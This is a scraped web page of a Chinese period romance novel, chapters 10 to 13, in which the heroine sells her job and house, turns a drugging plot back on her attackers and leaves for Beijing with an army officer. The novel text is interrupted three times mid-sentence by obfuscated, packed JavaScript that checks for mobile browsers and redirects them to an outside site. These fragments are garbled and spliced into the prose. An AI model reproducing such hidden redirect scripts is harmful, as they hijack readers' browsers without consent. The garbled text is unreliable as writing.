l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899282|160049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “先去买东西。” * 第二天天刚亮,何大姐就过来了。 何大姐满脸的失落:“我家男人不愿意。” “既然这样,那我就去找其他人。”宁穗都猜到了,这个年代总是女性为家庭牺牲。 “等等!” 何大姐心有不甘,一把抓住了宁穗:“宁穗同志,我觉得你说得对,现在时代不一样了,男人能做到的,女人也一样可以,我昨夜一宿没睡,都在想你说的话。” 宁穗同志是真心想把工作卖给她,换了旁的人,估计早就找下一个买家,哪会等她呢? 既然她的男人不能胜任这份工作,那为什么她就不行呢? 她不也是为这个家在努力,在付出吗? 宁穗问:“你的意思是你来接替我的工作?” 何大姐:“是的,我要去机床厂工作。” 她得抓住这次的机会,自己做一次决定,这么好的机会错过之后就不会再有的了。 宁穗也回应得很爽快:“好,那我们现在就去机床厂办手续。” “现在?” “对,我明天就要离开江河镇,我今天必须把交接手续给办好。”宁穗有自己的打算,她今天上午把工作的手续办了,下午还可以空出时间把房子的事情解决。 时间不等人,她要抓紧每一分钟。 何大姐也没有继续啰嗦,跟着宁穗去到了机床厂,然后找到厂委会办公室。 厂委会的负责人听到宁穗要办离职手续,以为自己没睡醒,震惊得从椅子上掉了下来:“宁穗同志,你才来厂里两个月,怎么想不开要离职呢?” 这年代的工作如同金饭碗,只要拿到了就会一直干到退休,哪有人中途离职的? “主任,我也不瞒您,我打算去京市投靠那边的亲戚。自从我爸死了之后,我在那个家里外不是人……所以我想,要不干脆离开这里算了。”宁穗在外人看来性格软糯,是个受了委屈只会回家哭鼻子的人。 现在低着头小声诉说的样子,看得人心里怜惜得紧。 大家都知道李素芬是她的后妈,宁穗继承了江建国机床厂的工作后,李素芬还来厂里闹了好几回,就是想要把工作争取给自己的儿子。 看来宁穗在家里受了不少的委屈,不然也不至于远走他乡。 主任顿了顿,拧着眉叹息:“可想好了?这工作没了就没了,以后你就算要回来厂里可不会重新给你机会的。我看你要不先办个停薪留职……” 宁穗打断对方的话:“主任,我已经想得很清楚。而且,我也找好了接替我工作的人。” 主任叹息了几声,“不过你去的是京市,怎么着都比这里要好。既然你想好了,那我就给你开个离职证明。” 宁穗点头:“谢谢主任。” 买卖工作的事情是不能直接放到台面上说的。 但一个萝卜一个坑,宁穗这边离职,何大姐后脚就可以直接办理入职。 等所有手续都办妥了,何大姐从里衣内拿出了厚厚一叠的大团结给宁穗。 她自己点了一遍,宁穗也点了一遍,总共是一千零二十元。 宁穗抽出两张大团结递给她:“何大姐,我就收一千块好了,这二十元你拿回去。” “这……不好吧,说好这么多就这么多的。”何大姐知道机床厂的工作吃香,别说是一千零二十,就算是一千二百块都大把人抢着要。 宁穗觉得自己是真没看错人,心情就更好了:“何大姐,我是想你再帮我一个忙。” “你尽管说,我一定会尽力而为。” “我想要一棵野山参,我到时候得带去京市给亲戚。” “这不巧了,我家里正好就有一棵,我下午就拿过来给你。”说完,何大姐像一阵风似的走了。 才一个小时不到,何大姐就拿了棵有差不多婴儿手臂大的野山参给她。 宁穗看着厚厚的一叠大团结和野山参,美滋滋地笑了。 11. 第 11 章 第11章 野山参是宁穗为宁师长准备的见面礼。 虽然说宁穗没必要讨好每一个人,但只要有人的地方就会有人情世故。 既然她这次是去京市投靠宁家,那她也要拿出自己的诚意。 她总不能空着双手过去,肯定得准备点东西。 而野山参就很适合送给长辈,宁师长到了这个阶层,物质上的东西已经不缺,所以真心的关切才是最重要的。 宁穗回到家把野山参收好之后,又去了隔壁刘大婶家。 刚刚一路走回来家属区,宁穗已经从邻居们的口中得知,李素芬确实搬了过去李四生家里。 按照李素芬的意思,她是不可能让李四生白占便宜。 就是死都要死在他家,要他负责。 少了李素芬这个绊脚石,宁穗觉得事情就好办多了。 刘大婶看到宁穗回来,笑了笑:“穗穗,你回来了啊?快进来坐。” 刘大婶是打小就看着原主长大的。 两家人虽然算不上特别亲,但有事情也会帮忙搭把手。 她知道江建国去世之后,宁穗在那个家就没了地位,李素芬也不把她当回事,连一口饭都不给吃。 原主性格又软弱,所以刘大婶很是心疼她,连忙招呼她进门。 这会儿是午饭时间,刘大婶就问他:“吃过饭了吗?” 宁穗笑了笑,“吃过了,谢谢刘大婶。” 这个年代大家都缩衣紧食,实在没必要占人家的这点便宜。 宁穗跟刘大婶客套一番之后,便说出自己的来意:“刘大婶,是这样的,我想把家里的房子卖给你。” 整个家属区,就刘大婶一个人治得了李素芬,将来要是吵起架来,也不怕刘大婶会吃亏。 而且刘大婶家里有四个儿子,现在家里就两个房间,早就挤得住不下。 她的大儿子很快就要娶媳妇,到时候更是没地方下脚。 “你要卖房子?”刘大婶海以为宁穗是被李素芬欺负得走投无路,让她给介绍相亲对象的。 宁穗明天就要离开了,所以也不怕说实话:“我要去京市投靠亲戚,明天就出发,这房子留着也只会便宜了李素芬他们。” 刘大婶:“既然这样,等老刘回来我问问他。” 她明白宁穗的意思,现在李素芬跟李四生不清不楚的,到时候她人一走,房子估计都被他们占去了。 很多人都说李素芬肯定是在江建国去世之前就跟李四生勾搭上的,以前早就有蛛丝马迹。 那可怎么对得起死去的江建国? 宁穗诚恳说道:“刘大婶,谢谢你,自小到大您一直都很关照我。” “傻孩子,跟大婶这么见外干啥?赶紧回去休息一下吧,下午还得上班呢。” * 从刘大婶家出来后,宁穗就回家补了个觉。 也不知道有多久没睡过午觉了,这年代的工作强度还挺高的,宁穗已经很久没有好好休息过。 不过正是因为有了这一群勤劳肯吃苦的先辈们,祖国才能发展得日益强大。 躺在床上,身心疲倦的宁穗迷迷糊糊就睡着了。 她是被江民安说话的声音吵醒的,让宁穗意外的是,冯进财居然也在。 江民安和冯进财大概以为这个时间点没人在家,所以说话并没有故意压低声音,让宁穗听了个遍。 “财哥,你放心好了,我一定会说服宁穗那丫头嫁给你的。” “老子要是等你说服她,也不至于等那么久。今晚你就把这东西给宁穗喝了,等她睡过去之后,你给我留个门,我十点左右就过来。” “这……这是什么东西?” “好东西,你别问了。” “东哥你放心,我一定会让宁穗喝下去的,等今晚事成之后,你可别忘了我这个小舅子。” “肯定忘不了。” * 宁穗躲在柜子后,屏住了呼吸,原来冯进财还是没想放过她,还准备对她使脏手段。 幸好她今天刚好办了离职手续,不然真可能会被这两人给设计了,那她这辈子都别想逃出江河镇。 看来,对付人渣还得用人渣的方式。 既然他们想用这种脏手段,那她就奉陪到底。 思及此,宁穗屏息等待着二人离开,后脚也跟着出了门。 打算等到平时放工的时间,再回家来。 * 黄东升看着睡到下午三点多才醒来的贺长青,不禁着急问道:“团长,你是不是生病了?怎么今天睡这么久?” 贺长青的时间观念是整个团最严谨,也是最严格的。 他从不迟到,从不缺席,甚至休假时间都会严格地按照军营的作息。 这还是黄东升第一次看他在白天睡那么久的觉,久得他以为团长生病了。 昨晚在江家小院守了一晚的贺长青睡了一觉之后,终于缓过劲来。 他起来喝了口水,说:“我没事。” 想了想,他又说:“回京的火车票都买好了吧?” “都买好了,明天一早我们接到宁穗同志之后就直接开车去市里,然后从市里坐火车出发,这些我都安排好了。”黄东升早早已经准备好,现在就等着那边的宁穗同志。 不过这两天团长也不让他去找宁穗,也不知道人家一个女同志有没有需要帮忙的地方。 这两天可真是急死他了,深怕没有好好完成这次的任务。 贺长青点头:“好。” 黄东升想了想,便提起胆子对他说:“团长,我等会想去看看宁穗同志有没有需要帮忙的,不然到时候误了时间就不好。” “不用。”贺长青这次应得特别快。 黄东升就知道贺长青会这么说,干脆就道出自己的想法:“团长,人家一个女同志不容易,咱们是人民子弟兵,有需要帮忙的地方当然要挺身而出!” 黄东升知道自家团长从不会怜惜女同志,自然也没想过要去帮宁穗同志忙前忙后。 但他可不是这么不懂怜香惜玉的人,更何况那还是宁师长的闺女。 贺长青:“我说了不用就不用。” 黄东升气得跺脚,真是铁石心肠,冷血无情的男人! 以后哪个女人嫁了他,真是倒大霉! 可黄东升也不敢违背贺团长的命令,看着他家团长换好衣服之后又自己一个人出去,只能待在招待所里生闷气。 * 傍晚时分,宁穗慢悠悠地往江家小院走去。 差不多到家的时候,刘大婶特地拉住了她,说:“我们家老刘说了,说愿意买下你家的房子。” 宁穗彻底松了一口气,笑眯眯道:“那好,明天一早我就跟婶子您去一趟公社,办个公证手续。” 刘大婶:“好好好,就按你说的,那价格方面……” “您随便看着给就行了。”宁穗就是想要出一口气,既然李素芬不仁,那就别怪她不义。 刘大婶看宁穗一副善良好欺负的模样,却怎么也做不来欺负一个后辈,便说:“之前村里有人卖四百块一个房子,你要是没意见的话,咱们就按人家的价格,你看怎么样?” 乡镇的房子并不值钱,但胜在两家就连在一块,到时候打通了,就成了个大院子。 怎么看都是划算的。 宁穗爽快点地点头:“行,就按婶子您说的价格。” 现在房子也解决了,她明天可以彻底告别江河镇的一切。 宁穗跟刘大婶说好了时间,然后回到自己家。 李素芬不在,江家小院静得像是没有人住似的。 宁穗前脚才进屋,江民安后脚就回来了。 他一改以往冷漠的态度,回来的时候还提着两瓶北冰洋汽水和五花肉回来了。 进门就笑口盈盈对她说:“宁穗,你还没吃饭吧?我今晚买了些好吃的,过来一起吃吧。” 宁穗早就知道了江民安接下来的把戏,干脆就陪他卖力演出。 于是便做出了一个被那香气四溢的五花肉吸引住的表情,夸张道:“好香啊,怎么突然买肉了?” 江民安随便找了个借口,宁穗也就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899283|160049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装出了一副完全信任的样子。 “以前是我不懂事,我想跟你道个歉。”江民安不知道什么时候开了一瓶汽水,递给了宁穗。 宁穗知道这瓶汽水肯定就是加了料的,但还是接了过来,“我们都是一家人,不用这么见外。” 眼看着江民安的表情越来越得意,宁穗把汽水放到了一旁,转移了话题:“对了,妈现在已经去了李四生家,你打算怎么办?” 说到了自己的事,江民安就像是打开了泄洪闸口似的,把他跟他那对象的事说了一大通。 宁穗知道江民安和他的对象结婚的前提,是让她嫁给冯进财。 但最近她跟冯进财闹了这么多事,肯定会引发他们之间的矛盾。 江民安话里话外都对宁穗有意见,但又不敢直说,就一直在她面前叫苦。 趁着这个机会,宁穗神不知鬼不觉地把汽水给换了过去。 宁穗把汽水推过去他跟前,说:“都是我的错,先喝口汽水吧,说得口都干了。” 确实是她的错,她应该第一时间把这个人渣懦夫给胖揍一顿。 自己没本事娶媳妇,关她屁事。 江民安喝了,过了好一会,宁穗终于知道原来里面放的是迷药。 也不知道冯进财那个沙比是从哪里搞来的。 但现在并不是想这个的时候,她得先把江民安先弄去房间。 宁穗天生神力,轻轻松松把江民安给扛进去房间,然后把他放到床上去。 接下来就等冯进财入瓮。 时间到了晚上十点,宁穗站得脚都麻了,终于等来了外院的推门声。 她屏息藏在了客厅的大门后面,打算等冯进财一推门进来,她就直接把他给劈晕。 可是没等她动手,身后突然传来了一阵温热,一个厚实炙热的手掌直接捂住了她的嘴巴。 男人那低沉带着热气的声息落在她的耳畔:“是我。” 谁? 宁穗全神贯注等着冯进财,可是突然多出个人,心理毫无防备,完全猜不到到底会是谁。 顾不得那么多,宁穗伸出一手从下面偷袭,结果被身后的男人用另一只手反扣在后腰,两人正以一个极度亲密的姿势贴在一起。 她甚至能感觉到他浑厚沉稳的呼吸和心跳,还有一种属于男人浓浓的荷尔蒙气息。 如果不是身后的人捂住她的嘴巴,她已经惊呼出声。 此刻她的心已经乱糟糟的,没想到聪明了一辈子的自己居然是螳螂捕蝉,黄雀在后! 就在宁穗以为自己就要完蛋的时候,大门突然被轻轻推开。 身后那热气腾腾的温度和禁锢瞬间消失不见,换之而来的是一个沉闷的落地声。 “咚——” 似乎是一个人摔地上去了。 宁穗:“……” 宁穗抄起早就准备好的木棍,怒喊道:“是谁?!” 话刚问出口,小小的房间突然亮了起来。 宁穗的眼睛慢慢适应着光线,终于看清了对面的人。 贺长青把点燃的军用打火机放在桌子上,这时才看清宁穗被吓得发白的脸色,她手里还紧紧地抓着一根木棍,正对着他。 第一次生出了内疚又心疼的感觉。 他看着宁穗,说:“对不起,吓到你了。” 宁穗有种死而后生的感觉,可是不知道为什么在看到来人是贺长青的时候,那种恐惧感瞬间消失不见。 她的心瞬间砰砰乱跳起来。 她下意识摇头:“没事,我没吓到。” 贺长青不放心:“抱歉,我应该早点告诉你的。” 宁穗看着贺长青,不想错过他的每一个表情,笑眯眯地问:“贺同志,你怎么会在这里?” 贺长青露出心虚的表情,但没有回答宁穗的问题。 他目光落在地上晕过去的冯进财身上,反问她:“你打算怎么处置他?” 宁穗果然被转移了注意力,看着冯进财那张让她厌恶的脸,咬牙切齿道:“当然是扒光他的衣服!” 贺长青:“?” 12. 第 12 章 第12章 江河镇出了个惊天大新闻。 冯家老二前脚跟江家新寡妇搞破鞋,后脚又跟江家儿子光秃秃地躺一张床上,姿势十分暧昧。 简直是闻所未闻! “哎哟喂我的老天爷,都这什么世道啊?男人跟女人可就见多了,这男人跟男人我还是头一回见啊。” “真的是一百岁不死都有新闻看,我这个老婆子也算是看着个新鲜的咯。” “我得回家去洗洗我的眼睛,我的眼睛不干净了!” 江家小院聚集了许多津津有味的吃瓜群众,大家都在好奇这男人跟男人到底是咋搞的。 除此之外,还有更多的是指责冯进财影响社会风气的人。 “这冯进财真给咱们江河镇丢脸,我看啊今天就把他拉去公社让大家批评批评,这都什么乱七八糟的事嘛!” “就是,应该让他好好接受一下思想改造,不然以后谁还会遵守秩序?” “还有那个江民安,把他俩一起拉过去,简直就是败类,坏分子!” 大家你一言我一语,吵翻天了。 很快就有人把狼狈不堪的冯进财和呱呱乱叫的江民安给绑了起来,直接带去公社批评。 宁穗报了仇,终于露出了一个笑来。 唯独站在宁穗身后的贺长青,从昨晚到现在都保持着同一个黑脸。 昨晚贺长青听到了宁穗要把冯进财的衣服扒光,那个震惊的神情绝对没有在别人面前表露过。 不过,刚正不阿的贺长青同志昨晚可没有跟她“同流合污”。 他的身份也不允许他做出这样的事。 从一开始他就不同意宁穗去碰冯进财,更别说还扒掉对方的衣服。 当然,宁穗她自己也不想碰冯进财和江民安,碰一下都会让她恶心至极。 是隔夜饭都能吐出来的那种恶心! 所以,机智聪明的她,昨天下午就跟二狗同志商量好,让他晚上过去她家帮个忙。 义字当头的二狗同志昨晚果然准时出现,麻利地把两人扒了个干净。 于是就有了今天的惊天大瓜。 宁穗微微侧过脸,对上贺长青那沉静的眼神,笑得格外甜蜜:“贺长青,你怎么不说话?这戏不好看?” 贺长青沉默不语,目光对上少女狡黠调皮的眼睛,心莫名颤了颤。 他以为宁穗最多是趁着冯进财晕倒,痛打他一顿。 他担心宁穗不是冯进财的对手,所以昨晚才会突然出手。 但他没猜到宁穗居然设计了这么一出好戏,简直是匪夷所思。 他真的很好奇,这个表面上看起来人畜无害的女同志,到底还有多少别人想不到的鬼点子。 二狗同志忙了大半夜,此刻精神依旧亢奋,崇拜地看着宁穗:“江宁穗,以后要是还有这么刺激的事情,请继续找我,实在是太好玩了!” 结果被贺长青冷冷地瞥了一眼。 “好啊,如果你也去京市,那我以后就带你玩。”因为即将离开,此刻宁穗的心情也阳光明媚,笑得特别灿烂。 宁穗才不怕他,虽然贺长青看起来冰冰冷冷的,但从昨晚突然出现在她家的举动可以看出来,他是很关心她的安全。 想必已经在她家附近守了很久,所以才会在冯进财要对她图谋不轨的时候及时出现。 对付冯进财这种软脚蟹,她宁穗还是有九成的把握。 就算贺长青不出现,她也能把人制服。 但也因为贺长青的突然出现,宁穗觉得他俩说不定有戏! 二狗听到宁穗的话,表情瞬间变了:“对哦,你们今天就要去京市。” 宁穗惺惺相惜地邀请:“二狗,你跟我们一起去京市吧,以后我们还能强强联手。” 像二狗这种讲义气的人,真的很适合做朋友。 贺长青说了昨晚以来的第一句话:“不行。” 二狗激动起来,因为他真的很想去:“为什么不行?哥你是团级干部,我以探亲家属的名义去部队玩几天都不行吗?” 贺长青:“我很忙,没空招呼你。” 二狗:“我这么大个人了,还用得着你招呼我吗?” 贺长青:“……” 二狗苦苦哀求道:“哥,你就给我弄个介绍信呗。” 贺长青没有理会二狗,转过去对宁穗说:“十点出发,你把行李收拾一下,等会在路口等我。” 宁穗一听即将出发,想起了要跟刘大婶办房子公证的事情。 于是她也顾不上情绪低落嗷嗷乱叫的二狗,连忙去找人。 房子公证很简单,公社的几个领导签了名,然后宁穗和刘大婶和刘大叔各自在公证书上签下名,按个手印,仪式就完成了。 回到了江家小院,刘大婶拿出一叠大团结递给宁穗,“穗穗,你数一数吧,四百块。” 宁穗直接把钱放在了随身挎包里,笑了笑:“不用数,我还能信不过婶子吗?以后房子就是你们的了,如果李素芬和江民安来你家闹事,你去找公安局的宋大队长,那是我一个朋友的爸爸。” 宁穗也是昨晚才知道二狗的父亲原来是公安局的大队长,她跟二狗说好了,让他帮忙照看一下刘大婶。 有了这层关系,宁穗相信李素芬和江民安也闹不出什么风浪。 刘大婶露出一个笑:“公社都给咱们公证了,他们来闹也没关系,反正也骂不过我。” 宁穗知道刘大婶向来看不惯李素芬,估计还恨不得跟她大吵一架呢。 不过这毕竟是她卖出去的房子,还是得提前跟刘大婶说一下,不然她也走得不安心。 刘大婶问她:“对了,你是真打算去京市?” 宁穗点头:“嗯,等会就出发。” “这么快?”刘大婶还以为得几天后呢,没想到宁穗今天就要走:“你这孩子,怎么不早点告诉婶子,要知道你今天就出发,我昨晚就做点干粮给你带上火车。” “谢谢婶子,跟我一起出发的还有两位同志,他们会照顾我的。”宁穗虽然在这里的时间不长,但遇到真心对她的人还是会觉得舍不得。 “那,那全国粮票换了吗?” “都换好了,放心吧婶子,我会好好照顾自己的。” 两人诉说了一番,宁穗看着时间差不多了,于是便回屋收拾。 * 宁穗的行李不多。 最贵重的就是那棵野山参,还有一大堆的大团结和各种票子。 刚收拾好行李出来,宁穗就看到了狼狈不堪的冯进财,此刻正狰狞地看着她。 “想走?你把我害这么惨还想离开这里?”冯进财往地上啐了一口带血的唾沫,一步步朝着宁穗逼近。 宁穗没想到这人像个狗皮膏药似的,临走都不让她清净。 “你想怎么样?”宁穗居高临下地看着冯进财。 冯进财阴森狠戾地看着她:“我想怎么样?你家江民安收了我的礼金,你就是死也是我冯家的人!” 宁穗骂了一句脏话,懒得浪费时间在他身上,提着行李直接越过他往门口走去。 冯进财伸手拉住了宁穗的手臂,还没使力,就被宁穗来了个过肩摔,狠狠地砸到了地上。 冯进财当即嗷嗷叫疼,满地打滚。 宁穗轻嗤一声:“我昨晚没揍你是因为不想弄脏自己的手,不过既然你还要来恶心我,就别怪我不客气!” 贺长青刚走进江家小院,就看到了这一幕。 宁穗那敏捷的身手,让他都为之震惊。 他瞬间觉得自己昨晚的出手,好像是有点多余。 这个姑娘并没有他想象的那么脆弱。 贺长青伸出手:“收拾好了吗?行李给我。” 宁穗听到熟悉的声音,马上又乖又甜地笑了起来:“贺长青,你来啦!” 然后乖乖地把行李递给对方,丝毫没跟他客气。 贺长青忽略掉宁穗直呼他名字的毛病,“嗯”了一声。 地上的冯进财看着贺长青那高挺的身材,露出了一个震惊的表情:“居然是你……” 贺长青的情绪极为冷静。 但他眼神中的冷冽还是隐隐渗透出来,连带语气也充斥着锋芒逼人的压迫感:“不要再打扰她!” 说完,贺长青就转身离开。 宁穗见状,蹭蹭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14899284|160049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地追上了贺长青。 站得这么近才知道,她才知道贺长青真的很高。 男人穿着笔挺的军装,肩膀很宽。 往上看去,他精致的侧脸也好看得让人痴迷,麦色的肌肤,深邃的眉眼,冷冽性感的薄唇,早晨的阳光打在他的脸上,像是一幅性张力满满的画作。 突然间,宁穗萌生出一股冲动。 她想要在贺长青的身上打上属于她的记号,让他彻底属于自己。 倏然间,贺长青侧过头来,问:“你在看什么?” 宁穗笑得眼睛含蜜,反问他:“贺长青,你知不知道自己长得很俊?” 宁穗笑起来眉眼弯弯,唇边还有一个小酒窝,唇红齿白,整个人显得娇艳起来。 她离他很近,瞬间有一股熟悉又香甜的气息漫入鼻间。 贺长青知道,这是属于宁穗独特的味道。 心间的鼓动声越发快速,贺长青别开了目光,不露声色地说:“车子在路口,走吧。” 这会儿本来是没什么人的,贺长青开来的军用吉普车停在路口,引起了很多人的注意。 当他们看到宁穗跟一个军人同志并肩走出来的时候,眼睛都瞪凸了。 “谁啊这是?怎么以前没见过这人?” “他跟江宁穗走得好像很近,关系肯定不简单。” “之前宁穗那丫头就说要找个军人同志,这不会就是她找的对象吧?” “哎哟喂,这是哪个军区的军人同志啊?还开个车过来呢,该不会真的是个团级干部吧?瞧着可真俊!” 大家交头接耳起来。 在群众中的二狗立马提供了最重要的信息供大家继续吃瓜:“从首都军区过来的团级干部。” 众人齐齐惊呼一声,然后纷纷讨论团级干部到底是多大的官,一个月能拿多少工资。 “哎哟喂,这可是年轻有为的军官同志,还真让宁穗这丫头找着这么好条件的对象呐。” “难怪宁穗辞掉了机床厂的工作,这是要跟着去首都了吗?” “前途无量的年轻人哦,宁穗跟着他去首都以后就吃香喝辣了。” 宁穗的虚荣心瞬间膨胀到顶点,简直比她即将出发去京市还要高兴。 她悄咪咪地看着身旁两耳不闻窗外事的贺长青,看他没有任何反应,便问:“贺长青,你不跟大家解释解释吗?” 贺长青大步朝着军用吉普车走去,只淡淡说了三个字:“没必要。” 宁穗:“???” 什么意思? 贺长青的大长腿已经走到了吉普车旁边,把宁穗的行李放了上车。 黄东升给宁穗打开了后座的车门,说:“宁穗同志,请上车。” 宁穗给黄东升递过去早早准备好肉包子,笑眯眯:“黄同志,辛苦你了,接下来得拜托你多多关照。” “为人民服务。”黄东升不敢接,只对宁穗行了个军礼:“组织教导过我们不能拿群众的一针一线,宁穗同志客气了。” 宁穗强硬地塞给他:“组织肯定也教导过你要走进群众,所以我们更是革命战友,朋友就该互相关照,你说对吧?” 宁穗的一番话把黄东升说得服服帖帖的,但对上冷冰冰的贺长青,他还是没敢拿。 宁穗才不管贺长青怎么说,把肉包子往黄东升手里一塞。 黄东升偷偷别过身,躲开自家团长的注意,他只想好好吃一口肉包子! 二狗从八卦队伍中走过来,不舍地看着他们:“哥,你真不让我去首都啊?” 贺长青淡淡瞥了他一眼:“把事处理好之后再说。” 宁穗好奇,还有什么事要处理? 二狗立马行了个军礼:“遵命,首长!” 二狗跟宁穗说:“江宁穗,你在首都等我,我很快就会过去。” 宁穗笑眯眯点头:“好啊,我等你。” 正当两人准备好好告别一番,原本准备坐上驾驶位的贺长青突然站在两人中间:“火车不等人,出发吧。” 宁穗对二狗挥了挥手,上了车。 贺长青从后视镜看了一眼已经坐好的宁穗,启动了吉普车,扬长而去。 13.第 13 章 第13章 火车站人来人往,检票口的队伍更是拥挤不堪。 黄东升提着宁穗的行李在前面开路,看着黑压压的人群,回头对她说:“宁穗同志,跟紧我和团长,别走丢了。” 贺长青长得高,在人群中是鹤立鸡群的存在,他回头看了眼宁穗,脸上浮现一点担忧。 宁穗上一次坐绿皮火车还是在上一次。 她对绿皮火车的印象还算友好,她喜欢跟闯南走北的同胞们聊天分享美食。 但此刻置身在七十年代的火车站,头一次让她感到脑袋发涨,实在是太太太多人了。 她想了想,直接垫高脚越过想要挤她的人。 然后凑到了贺长青那颀长的身影后,说:“人太多了,刚刚我差点被别人挤走,我拉着你吧。” 说完,便伸手拉着贺长青的军装衣摆。 贺长青目光轻轻扫过军装上那一抹突兀的瓷白指尖,在军绿色布料的衬托下,她修长圆润的手指更显肤若凝脂,冰肌玉骨。 他喉结滚了滚,“跟紧。” 宁穗得逞地笑了笑:“好,我跟在你身后。” 好不容易上了火车,那狭窄车厢里的乘客像是沙丁鱼罐头一样人挤人。 贺长青的后背有股陌生且柔软的触感传来,隆起处还带着少女那馨香的体热,直冲冲朝他袭来。 宁穗对上贺长青像是不满的眼神,唇瓣微张,黑溜溜的大眼睛泛出了几分水雾,看起来有几分无辜。 宁穗抬头睨着他:“我不是故意的,后面的人实在太多了……” 话落,车厢乘客的咒骂声此起彼伏: “前面的快走撒,后面的进不来啦。” “别挤了别挤了,这有孩子呢。” “娘惹,哪个眼瞎的踩老子脚哟。” “……” 贺长青的注意力完全落在宁穗那嫣红湿润的唇瓣上,脑袋涨得比此刻拥挤的车厢还要难受。 好不容易去到了卧铺车厢,黄东升把行李往床铺上一放:“天啊,这也太多人了,比我们来的时候还要多。” 宁穗露出一个劫后余生的表情,没想到七十年代的火车居然拥挤成这个样子。 她以后再也不怀念绿皮火车了。 还是高铁好,高铁棒,几千公里也就几小时就到了。 黄东升跟宁穗念叨了半会,突然听了黄东升惊呼了一声:“团长,你的脸怎么这么红?是不舒服吗?” 贺长青强大的自制力早已恢复平静,不露声色说:“人多,热。” 黄东升疑惑地看着窗外那萧瑟的秋景,虽然这边没有京市冷,但跟热也扯不上什么关系吧。 宁穗猜想贺长青确实怕热些,刚刚贴在他后背那真是热气腾腾的,热得她都脸红了几回。 于是她见状便拧开了自己携带的水壶,递过去给贺长青:“先喝点水。” 黄东升见状,瞬间就瞪大了眼睛,他还没来得及提醒宁穗同志,他家团长可不是友好的人,等会给她一张冷脸,怕是要哭着坐到回京市哦。 就在黄东升准备出来打圆场的时候,贺长青直接伸手从少女手中接过水壶,一口气喝了大半瓶。 黄东升:“!!!” 贺长青:“我去打点水,你们先收拾一下。” 火车上的时光很慢,但幸好宁穗遇到的人都是有趣的。 黄东升同志就是活宝一个,年纪虽然不大,但他细心又幽默,比起贺长青来,简直就是一个聊天吹牛的好搭档。 但再有趣的话题也有停止的时刻,黄东升在晚上八点的时候直接呼呼沉睡过去,还打起了疲惫的鼾声。 宁穗也很累,但狭窄又硬邦邦的床铺让她辗转难眠。 卧铺车厢那此起彼伏的鼾声更是蛙声一片似的,到了十二点多她也还没睡着。 贺长青睡在她左下角的下铺,似乎是被她吵醒了,便压低声音问:“睡不着?” 宁穗纠结了几秒,说:“我想上厕所。” 宁穗卖了工作和房子,加上自己的积蓄,身上总共带了一千五百多块的现钱还有一堆杂七杂八的票子。 还有最最最重要的野山参,那棵野山参实在是她见到过最大最夸张的参,简直是可遇不可求。 要是不见了那该多可惜,用多少钱都买不回来。 白天时,她来去厕所或者是饮水间都是由黄东升陪同,就是怕碰到扒手。 她睡不着的原因之一,也是这笔巨款。 黑暗中,很快传来了贺长青的声音:“下来,我陪你去。” 宁穗立马爬了起来,蹑手蹑脚地下了床铺,然后跟在贺长青的身后。 车厢的人很多很多,走道,茶水间,厕所等等只要可以落脚的地方都挤满了睡觉的乘客和行李,想要下脚都困难。 时不时还会传来骂声,不是被踩到了就是被挤到。 宁穗视力再好也不能在这昏暗的环境中健步如飞,只好伸手抓住了贺长青的衣袖:“你拉一下我,我看不清路。” 就在两人缓慢移动的时候,宁穗被一只突然抬起来的脚给绊住了,整个人重心偏移,直直地往地方那堆挤着睡觉的乘客倾斜倒去。 事情发生得过于突然,视力极好的贺长青稳住身躯的同时,手臂圈住了宁穗那盈盈一握的纤腰,微微一使力,巧妙地把柔软的少女往他身上搂过来。 宁穗抓住了机会,伸手抱住了贺长青的劲腰。 男人浑重的呼吸声落在她的耳边,与她急促的呼吸混在一起:“没事吧?” 宁穗被耳畔那热腾腾的气息烫得脸涨红起来,但诚实的双手却不舍得放开男人的劲腰:“没事,幸好有你。” 这腰可真有力! 贺长青这是第二次被宁穗抱住,跟第一次完全不一样,他的脑海只有一个念头:好软,跟她的人一样,又乖又软。 甚至还有丝丝属于她独特的馨香,让军绿色布料下的那寸皮肤像是着了火似的滚烫起来。 “慢点走,我拉着你过去。”这次贺长青没有避忌太多,拉住宁穗细滑的手腕,朝洗手间走过去。 宁穗感觉到男人有力厚实的手掌牵住自己,露出了一个盈盈的笑。 如果火车上的光线再亮堂些,她或许能看到贺长青已经红透了的耳根。 好不容易回到了卧铺车厢,宁穗试探性地问:“贺长青,你能帮我背着包吗?” 贺长青瞬间就听懂了宁穗的意思,她是担心包里的钱。 黑暗中他看着少女那若隐若现的轮廓,沉着声应道:“给我吧,你安心睡。” 宁穗绝对信任地把装着一千多块巨款的款包递给贺长青,笑得格外甜蜜:“谢谢,那我先回去睡了。” 贺长青比她谨慎多了,把钱交给他,宁穗是一万个放心。 这次她几乎是倒头就睡,醒来的时候黄东升依旧在打鼾。 但贺长青却比她还要早醒来。 宁穗关切地问:“你昨晚没睡吗?” “睡了,比你早醒一会儿。”贺长青看着睡眼惺忪的宁穗,觉得此刻的她尤其可爱,像是软绵绵的可爱猫儿。 宁穗洗漱回来,买了几个包子和葱油饼,还有三碗小馄饨。 